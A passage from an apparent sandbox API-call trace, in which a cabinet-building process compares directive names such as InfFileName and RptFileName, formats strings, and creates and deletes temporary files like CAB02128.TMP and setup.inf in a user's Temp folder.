_Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFooter", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFooter1", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFooter2", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFooter3", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFooter4", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader1", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader2", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader3", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader4", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfHeader5", _Str2="UniqueFiles") returned -12 [0151.814] _strcmpi (_Str1="InfHeader6", _Str2="UniqueFiles") returned -12 [0151.814] _strcmpi (_Str1="InfSectionOrder", _Str2="UniqueFiles") returned -12 [0151.814] _strcmpi (_Str1="MaxCabinetSize", _Str2="UniqueFiles") returned -8 [0151.814] _strcmpi (_Str1="MaxDiskFileCount", _Str2="UniqueFiles") returned -8 [0151.814] _strcmpi (_Str1="MaxDiskSize", _Str2="UniqueFiles") returned -8 [0151.814] _strcmpi (_Str1="MaxErrors", _Str2="UniqueFiles") returned -8 [0151.814] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="UniqueFiles") returned -3 [0151.814] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="UniqueFiles") returned -3 [0151.814] _strcmpi (_Str1="ReservePerFolderSize", _Str2="UniqueFiles") returned -3 [0151.814] _strcmpi (_Str1="RptFileName", _Str2="UniqueFiles") returned -3 [0151.814] _strcmpi (_Str1="SourceDir", _Str2="UniqueFiles") returned -2 [0151.814] _strcmpi (_Str1="UniqueFiles", _Str2="UniqueFiles") returned 0 [0151.814] atoi (_Str="1") returned 1 [0151.814] malloc (_Size=0x30) returned 0x2ba330 [0151.814] malloc (_Size=0x60) returned 0x2bd2c0 [0151.814] malloc (_Size=0x30) returned 0x2ba3b0 [0151.814] _strcmpi (_Str1="Cabinet", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="ChecksumWidth", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="ClusterSize", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="Compress", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CompressionType", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CompressionLevel", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="CompressionMemory", _Str2="Infattr") returned -6 [0151.814] _strcmpi (_Str1="DestinationDir", _Str2="Infattr") returned -5 [0151.814] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infattr") returned -5 [0151.814] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infattr") returned -5 [0151.814] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infattr") returned -5 [0151.814] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infattr") returned -3 [0151.814] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infattr") returned -3 [0151.814] _strcmpi (_Str1="GenerateInf", _Str2="Infattr") returned -2 [0151.815] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infattr") returned 2 [0151.815] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infattr") returned 2 [0151.815] _strcmpi (_Str1="InfCommentString", _Str2="Infattr") returned 2 [0151.815] _strcmpi (_Str1="InfDateFormat", _Str2="Infattr") returned 3 [0151.815] _strcmpi (_Str1="InfDiskHeader", _Str2="Infattr") returned 3 [0151.815] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infattr") returned 3 [0151.815] _strcmpi (_Str1="InfFileHeader", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFileName", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFooter", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFooter1", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFooter2", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFooter3", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfFooter4", _Str2="Infattr") returned 5 [0151.815] _strcmpi (_Str1="InfHeader", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader1", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader2", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader3", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader4", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader5", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfHeader6", _Str2="Infattr") returned 7 [0151.815] _strcmpi (_Str1="InfSectionOrder", _Str2="Infattr") returned 18 [0151.815] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infattr") returned 4 [0151.815] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infattr") returned 4 [0151.815] _strcmpi (_Str1="MaxDiskSize", _Str2="Infattr") returned 4 [0151.815] _strcmpi (_Str1="MaxErrors", _Str2="Infattr") returned 4 [0151.815] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infattr") returned 9 [0151.815] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infattr") returned 9 [0151.815] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infattr") returned 9 [0151.815] _strcmpi (_Str1="RptFileName", _Str2="Infattr") returned 9 [0151.815] _strcmpi (_Str1="SourceDir", _Str2="Infattr") returned 10 [0151.815] _strcmpi (_Str1="UniqueFiles", _Str2="Infattr") returned 12 [0151.815] _strcmpi (_Str1="DiskDirectory1", _Str2="Infattr") returned -5 [0151.815] _strcmpi (_Str1="CabinetName1", _Str2="Infattr") returned -6 [0151.815] _vsnprintf (in: _DstBuf=0xde190, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde0e8 | out: _DstBuf="Infattr") returned 7 [0151.815] _vsnprintf (in: _DstBuf=0xde190, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde0e8 | out: _DstBuf="Infdate") returned 7 [0151.815] _vsnprintf (in: _DstBuf=0xde190, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde0e8 | out: _DstBuf="Inftime") returned 7 [0151.816] _close (_FileHandle=3) returned 0 [0151.816] free (_Block=0x2ba270) [0151.816] free (_Block=0x2bc280) [0151.816] free (_Block=0x2bbe40) [0151.816] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0151.816] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0151.816] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0151.816] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0151.816] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0151.816] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0151.816] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0151.816] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0151.816] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0151.816] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0151.816] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0151.816] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0151.816] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0151.816] GetCurrentProcessId () returned 0x850 [0151.817] _vsnprintf (in: _DstBuf=0xdf170, _MaxCount=0xff, _Format="CAB%5.5d.TMP", _ArgList=0xdf158 | out: _DstBuf="CAB02128.TMP") returned 12 [0151.817] _open (_FileName="CAB02128.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab02128.tmp"), _OpenFlag=1282) returned 3 [0151.818] _close (_FileHandle=3) returned 0 [0151.819] _unlink (_FileName="CAB02128.TMP") returned 0 [0151.819] _open (_FileName="setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.inf"), _OpenFlag=258) returned 3 [0151.819] _close (_FileHandle=3) returned 0 [0151.819] _unlink (_FileName="setup.inf") returned 0 [0151.820] _strcmpi (_Str1="Cabinet", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CabinetNameTemplate", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="ChecksumWidth", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="ClusterSize", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="Compress", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CompressionType", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CompressionLevel", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="CompressionMemory", _Str2="RptFileName") returned -15 [0151.820] _strcmpi (_Str1="DestinationDir", _Str2="RptFileName") returned -14 [0151.820] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="RptFileName") returned -14 [0151.820] _strcmpi (_Str1="DiskLabelTemplate", _Str2="RptFileName") returned -14 [0151.820] _strcmpi (_Str1="DoNotCopyFiles", _Str2="RptFileName") returned -14 [0151.820] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="RptFileName") returned -12 [0151.820] _strcmpi (_Str1="FolderSizeThreshold", _Str2="RptFileName") returned -12 [0151.820] _strcmpi (_Str1="GenerateInf", _Str2="RptFileName") returned -11 [0151.820] _strcmpi (_Str1="InfCabinetHeader", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfCommentString", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfDateFormat", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfDiskHeader", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfDiskLineFormat", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFileHeader", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFileLineFormat", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFileName", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFooter", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFooter1", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFooter2", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFooter3", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfFooter4", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfHeader", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfHeader1", _Str2="RptFileName") returned -9 [0151.820] _strcmpi (_Str1="InfHeader2", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="InfHeader3", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="InfHeader4", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="InfHeader5", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="InfHeader6", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="InfSectionOrder", _Str2="RptFileName") returned -9 [0151.821] _strcmpi (_Str1="MaxCabinetSize", _Str2="RptFileName") returned -5 [0151.821] _strcmpi (_Str1="MaxDiskFileCount", _Str2="RptFileName") returned -5 [0151.821] _strcmpi (_Str1="MaxDiskSize", _Str2="RptFileName") returned -5 [0151.821] _strcmpi (_Str1="MaxErrors", _Str2="RptFileName") returned -5 [0151.821] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="RptFileName") returned -11 [0151.821] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="RptFileName") returned -11 [0151.821] _strcmpi (_Str1="ReservePerFolderSize", _Str2="RptFileName") returned -11 [0151.821] _strcmpi (_Str1="RptFileName", _Str2="RptFileName") returned 0 [0151.821] GetCurrentProcessId () returned 0x850 [0151.821] _vsnprintf (in: _DstBuf=0xdf170, _MaxCount=0xff, _Format="CAB%5.5d.TMP", _ArgList=0xdf158 | out: _DstBuf="CAB02128.TMP") returned 12 [0151.821] _open (_FileName="CAB02128.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab02128.tmp"), _OpenFlag=1282) returned 3 [0151.822] _close (_FileHandle=3) returned 0 [0151.822] _unlink (_FileName="CAB02128.TMP") returned 0 [0151.822] _open (_FileName="setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.rpt"), _OpenFlag=258) returned 3 [0151.822] _close (_FileHandle=3) returned 0 [0151.823] _unlink (_FileName="setup.rpt") returned 0 [0151.824] malloc (_Size=0x218) returned 0x2bbe40 [0151.824] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0151.824] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0151.824] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.824] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.824] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0151.824] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.824] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.824] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0151.824] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0151.824] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskLineFormat") returned -1 [0151.824] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskLineFormat") returned -1 [0151.824] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskLineFormat") returned -8 [0151.824] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskLineFormat") returned -4 [0151.824] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfDiskLineFormat") returned 0 [0151.824] _strcmpi (_Str1="Cabinet", _Str2="Infdisk#") returned -6 [0151.824] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infdisk#") returned -6 [0151.824] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infdisk#") returned -6 [0151.824] _strcmpi (_Str1="ChecksumWidth", _Str2="Infdisk#") returned -6 [0151.824] _strcmpi (_Str1="ClusterSize", _Str2="Infdisk#") returned -6 [0151.824] _strcmpi (_Str1="Compress", _Str2="Infdisk#") returned -6 [0151.825] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infdisk#") returned -6 [0151.825] _strcmpi (_Str1="CompressionType", _Str2="Infdisk#") returned -6 [0151.825] _strcmpi (_Str1="CompressionLevel", _Str2="Infdisk#") returned -6 [0151.825] _strcmpi (_Str1="CompressionMemory", _Str2="Infdisk#") returned -6 [0151.825] _strcmpi (_Str1="DestinationDir", _Str2="Infdisk#") returned -5 [0151.825] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infdisk#") returned -5 [0151.825] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infdisk#") returned -5 [0151.825] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infdisk#") returned -5 [0151.825] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infdisk#") returned -3 [0151.825] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infdisk#") returned -3 [0151.825] _strcmpi (_Str1="GenerateInf", _Str2="Infdisk#") returned -2 [0151.825] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infdisk#") returned -1 [0151.825] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infdisk#") returned -1 [0151.825] _strcmpi (_Str1="InfCommentString", _Str2="Infdisk#") returned -1 [0151.825] _strcmpi (_Str1="InfDateFormat", _Str2="Infdisk#") returned -8 [0151.825] _strcmpi (_Str1="InfDiskHeader", _Str2="Infdisk#") returned 69 [0151.825] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infdisk#") returned 73 [0151.825] _strcmpi (_Str1="InfFileHeader", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFileName", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFooter", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFooter1", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFooter2", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFooter3", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfFooter4", _Str2="Infdisk#") returned 2 [0151.825] _strcmpi (_Str1="InfHeader", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader1", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader2", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader3", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader4", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader5", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfHeader6", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="InfSectionOrder", _Str2="Infdisk#") returned 15 [0151.825] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="MaxDiskSize", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="MaxErrors", _Str2="Infdisk#") returned 4 [0151.825] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infdisk#") returned 9 [0151.825] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infdisk#") returned 9 [0151.825] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infdisk#") returned 9 [0151.826] _strcmpi (_Str1="RptFileName", _Str2="Infdisk#") returned 9 [0151.826] _strcmpi (_Str1="SourceDir", _Str2="Infdisk#") returned 10 [0151.826] _strcmpi (_Str1="UniqueFiles", _Str2="Infdisk#") returned 12 [0151.826] _strcmpi (_Str1="DiskDirectory1", _Str2="Infdisk#") returned -5 [0151.826] _strcmpi (_Str1="CabinetName1", _Str2="Infdisk#") returned -6 [0151.826] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infdisk#") returned 8 [0151.826] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.826] _strcmpi (_Str1="Cabinet", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="ChecksumWidth", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="ClusterSize", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="Compress", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CompressionType", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CompressionLevel", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="CompressionMemory", _Str2="Inflabel") returned -6 [0151.826] _strcmpi (_Str1="DestinationDir", _Str2="Inflabel") returned -5 [0151.826] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Inflabel") returned -5 [0151.826] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Inflabel") returned -5 [0151.826] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Inflabel") returned -5 [0151.826] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Inflabel") returned -3 [0151.826] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Inflabel") returned -3 [0151.826] _strcmpi (_Str1="GenerateInf", _Str2="Inflabel") returned -2 [0151.827] _strcmpi (_Str1="InfCabinetHeader", _Str2="Inflabel") returned -9 [0151.827] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Inflabel") returned -9 [0151.827] _strcmpi (_Str1="InfCommentString", _Str2="Inflabel") returned -9 [0151.827] _strcmpi (_Str1="InfDateFormat", _Str2="Inflabel") returned -8 [0151.827] _strcmpi (_Str1="InfDiskHeader", _Str2="Inflabel") returned -8 [0151.827] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Inflabel") returned -8 [0151.827] _strcmpi (_Str1="InfFileHeader", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFileLineFormat", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFileName", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFooter", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFooter1", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFooter2", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFooter3", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfFooter4", _Str2="Inflabel") returned -6 [0151.827] _strcmpi (_Str1="InfHeader", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader1", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader2", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader3", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader4", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader5", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfHeader6", _Str2="Inflabel") returned -4 [0151.827] _strcmpi (_Str1="InfSectionOrder", _Str2="Inflabel") returned 7 [0151.827] _strcmpi (_Str1="MaxCabinetSize", _Str2="Inflabel") returned 4 [0151.827] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Inflabel") returned 4 [0151.827] _strcmpi (_Str1="MaxDiskSize", _Str2="Inflabel") returned 4 [0151.827] _strcmpi (_Str1="MaxErrors", _Str2="Inflabel") returned 4 [0151.827] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Inflabel") returned 9 [0151.827] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Inflabel") returned 9 [0151.827] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Inflabel") returned 9 [0151.827] _strcmpi (_Str1="RptFileName", _Str2="Inflabel") returned 9 [0151.827] _strcmpi (_Str1="SourceDir", _Str2="Inflabel") returned 10 [0151.827] _strcmpi (_Str1="UniqueFiles", _Str2="Inflabel") returned 12 [0151.827] _strcmpi (_Str1="DiskDirectory1", _Str2="Inflabel") returned -5 [0151.828] _strcmpi (_Str1="CabinetName1", _Str2="Inflabel") returned -6 [0151.828] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Inflabel") returned 8 [0151.828] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infcab#") returned 7 [0151.828] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.828] _strcmpi (_Str1="Cabinet", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="ChecksumWidth", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="ClusterSize", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="Compress", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CompressionType", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CompressionLevel", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="CompressionMemory", _Str2="Infdisk#") returned -6 [0151.828] _strcmpi (_Str1="DestinationDir", _Str2="Infdisk#") returned -5 [0151.828] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infdisk#") returned -5 [0151.828] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infdisk#") returned -5 [0151.828] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infdisk#") returned -5 [0151.828] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infdisk#") returned -3 [0151.828] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infdisk#") returned -3 [0151.828] _strcmpi (_Str1="GenerateInf", _Str2="Infdisk#") returned -2 [0151.828] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infdisk#") returned -1 [0151.828] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infdisk#") returned -1 [0151.828] _strcmpi (_Str1="InfCommentString", _Str2="Infdisk#") returned -1 [0151.828] _strcmpi (_Str1="InfDateFormat", _Str2="Infdisk#") returned -8 [0151.828] _strcmpi (_Str1="InfDiskHeader", _Str2="Infdisk#") returned 69 [0151.828] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infdisk#") returned 73 [0151.828] _strcmpi (_Str1="InfFileHeader", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFileName", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFooter", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFooter1", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFooter2", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFooter3", _Str2="Infdisk#") returned 2 [0151.828] _strcmpi (_Str1="InfFooter4", _Str2="Infdisk#") returned 2 [0151.829] _strcmpi (_Str1="InfHeader", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader1", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader2", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader3", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader4", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader5", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfHeader6", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="InfSectionOrder", _Str2="Infdisk#") returned 15 [0151.829] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi 